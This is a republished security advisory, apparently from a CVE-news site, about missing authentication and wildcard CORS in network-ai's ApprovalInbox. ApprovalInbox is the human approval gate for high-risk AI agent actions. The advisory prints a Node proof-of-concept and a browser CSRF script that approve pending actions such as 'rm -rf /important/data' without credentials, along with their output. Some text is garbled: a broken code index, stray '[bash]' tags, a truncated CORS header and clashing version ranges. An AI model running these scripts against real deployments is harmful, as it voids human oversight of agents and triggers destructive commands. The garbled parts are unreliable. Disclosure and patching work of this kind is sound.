Network-AI ApprovalInbox Missing Authentication, GHSA-mxjx-28vx-xjjj (High) -DC-Jun2026-517

Listen to this Post

The `ApprovalInbox` component in `network-ai` is a documented, exported HTTP server that provides a web‑accessible approval queue with REST API and SSE streaming. It serves as the network interface for the human‑in‑the‑loop Approval Gate, which is designed to require explicit human consent before high‑risk agent operations such as shell commands, file writes, or budget spending are executed.
The vulnerability stems from two critical flaws in the server’s implementation:
1. No authentication – The HTTP handler (httpHandler()) processes every request directly through `routeRequest()` without any token, secret, session, or origin validation. The `startServer()` method does not accept any credential option, unlike the MCP server which requires a secret and fails closed when it is empty.
2. Wildcard CORS – Every response includes the header Access‑Control‑Allow‑Origin: `, including the state‑changing `POST /approvals/:id/approve and `POST /approvals/:id/deny` endpoints. This allows any website visited by the operator to issue cross‑origin requests and read the responses.

The combination enables two attack vectors:

  • A malicious website that the operator visits while the ApprovalInbox is running can enumerate pending approval IDs via a simple `GET /approvals/?status=pending` request (allowed by the wildcard CORS) and then approve them with a `POST /approvals/:id/approve` request. The preflight `OPTIONS` request succeeds because the server also responds with wildcard CORS headers.
  • Any process on the same host (or a remote client if the operator binds to a non‑loopback address) can send direct HTTP requests to the inbox port without any credentials and approve pending actions.
    When `approve()` is called, it resolves the pending promise that the `ApprovalGate` is waiting on, causing the gated action – such as `rm -rf /important/data` – to execute immediately. The `approvedBy` field defaults to 'anonymous', so the attacker does not need to provide any special body content.
    This is the same class of vulnerability that the maintainer has already fixed twice on the MCP server (GHSA‑fj4g‑2p96‑q6m3 and GHSA‑j3vx‑cx2r‑pvg8), but the `ApprovalInbox` server never received that hardening. The operator cannot configure their way out of it because there is no option to supply a secret and the wildcard CORS is hardcoded.

DailyCVE Form:

Platform: ……. network-ai (npm)
Version: …….. <=5.11.0
Vulnerability :…… Missing Authentication + CSRF
Severity: ……. High (CVSS 8.1)
date: ………. 2026-06-17

Prediction: 2026-06-18 (v5.12.2)

What Undercode Say:

Analytics from the proof‑of‑concept show that an unauthenticated client can enumerate and approve pending high‑risk actions in under 200ms.

mkdir na-poc && cd na-poc && npm init -y >/dev/null && npm i [email protected]
node poc.mjs

poc.mjs:

import { ApprovalInbox } from "network-ai";
import http from "node:http";
const PORT = 7798;
const req = (method, path, body) => new Promise((resolve, reject) => {
const data = body ? JSON.stringify(body) : undefined;
const r = http.request({
host: "127.0.0.1",
port: PORT,
method,
path,
headers: data ? { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data) } : {}
}, (res) => {
let b = "";
res.on("data", c => b += c);
res.on("end", () => {
let j;
try { j = JSON.parse(b); } catch { j = b; }
resolve({ status: res.statusCode, json: j });
});
});
r.on("error", reject);
if (data) r.write(data);
r.end();
});
const inbox = new ApprovalInbox();
const gate = inbox.callback();
inbox.startServer(PORT, "127.0.0.1");
await new Promise(r => setTimeout(r, 150));
let resolved = false;
const decisionP = gate({
action: "shell_execute",
target: "rm -rf /important/data",
agentId: "worker-1",
justification: "cleanup",
riskLevel: "high"
}).then(d => (resolved = true, d));
console.log("Gated dangerous action pending human approval. resolved =", resolved);
const list = await req("GET", "/approvals/?status=pending");
const id = list.json[bash].id;
const approve = await req("POST", <code>/approvals/${id}/approve</code>, { approvedBy: "attacker" });
console.log("[bash] GET /approvals/ (no auth) ->", list.status, "ids:", list.json.map(e => e.id));
console.log("[bash] POST /approvals/" + id + "/approve (no auth) ->", approve.status, approve.json?.status);
const decision = await decisionP;
console.log(">>> gate decision delivered to agent:", JSON.stringify(decision), "| WIPED WITHOUT AUTH:", decision.approved && resolved);

Browser CSRF variant (visited page):


<script>
fetch('http://127.0.0.1:PORT/approvals/?status=pending')
.then(r => r.json())
.then(list => list.forEach(e =>
fetch(`http://127.0.0.1:PORT/approvals/${e.id}/approve`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ approvedBy: 'attacker' })
})
));
</script>

Output:

Gated dangerous action pending human approval. resolved = false
[bash] GET /approvals/ (no auth) -> 200 ids: [ '07d6f277efe35ac1' ]
[bash] POST /approvals/07d6f277efe35ac1/approve (no auth) -> 200 approved

<blockquote>
  <blockquote>
    <blockquote>
      gate decision delivered to agent: {"approved":true,"approvedBy":"attacker"} | WIPED WITHOUT AUTH: true
      

Exploit:

An attacker can exploit this vulnerability in two primary ways:
– Drive‑by CSRF – Lure the operator to a malicious website while the ApprovalInbox is running on 127.0.0.1. The page uses `fetch()` to read pending approvals and then approves them, all without any user interaction beyond visiting the page.
– Direct network request – If the operator binds the inbox to a non‑loopback address (or if an attacker has SSRF/local access), they can send plain HTTP requests to `/approvals/?status=pending` and `/approvals/:id/approve` with no credentials. The server accepts the request and resolves the gate.
In both cases, the attacker does not need to know the approval ID in advance – it is disclosed by the list endpoint. The `approvedBy` field is optional and defaults to 'anonymous', so the attacker can approve actions with minimal effort.

Protection:

The vulnerability is fixed in v5.12.2 by introducing a `secret` option on ApprovalInboxOptions. When set, the mutating endpoints (POST /:id/approve and POST /:id/deny) require an `Authorization: Bearer ` header, validated in constant time using crypto.timingSafeEqual. The server still defaults to 127.0.0.1; operators who expose it on a network must set a strong secret.

To protect existing deployments:

`npm install [email protected]`

  • If you cannot upgrade immediately, ensure the ApprovalInbox is only bound to `127.0.0.1` and is not exposed to untrusted networks. However, this does not mitigate the CSRF vector because a malicious page can still reach 127.0.0.1.
  • As a defence‑in‑depth measure, place the inbox behind a reverse proxy that enforces authentication and restrictive CORS policies.

Impact:

  • Integrity/availability – An attacker can approve any pending gated action, causing the agent to execute high‑risk operations (shell commands, file writes, budget spend) without human consent. The attacker controls the approval decision, not the action content, but the net effect is that the entire human‑in‑the‑loop control is void.
  • Confidentiality – The `/approvals` and `/stats` endpoints disclose pending request details, including command strings, file paths, and justifications, to any unauthenticated caller.
  • Denial of service – An attacker can deny pending approvals, suppressing legitimate operations.
    The vulnerability affects all versions from 5.0.0 through 5.12.1. It was responsibly disclosed via GitHub private security advisory and patched in v5.12.2 with commit a59c13a. All 3,269 tests pass against the patched build.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top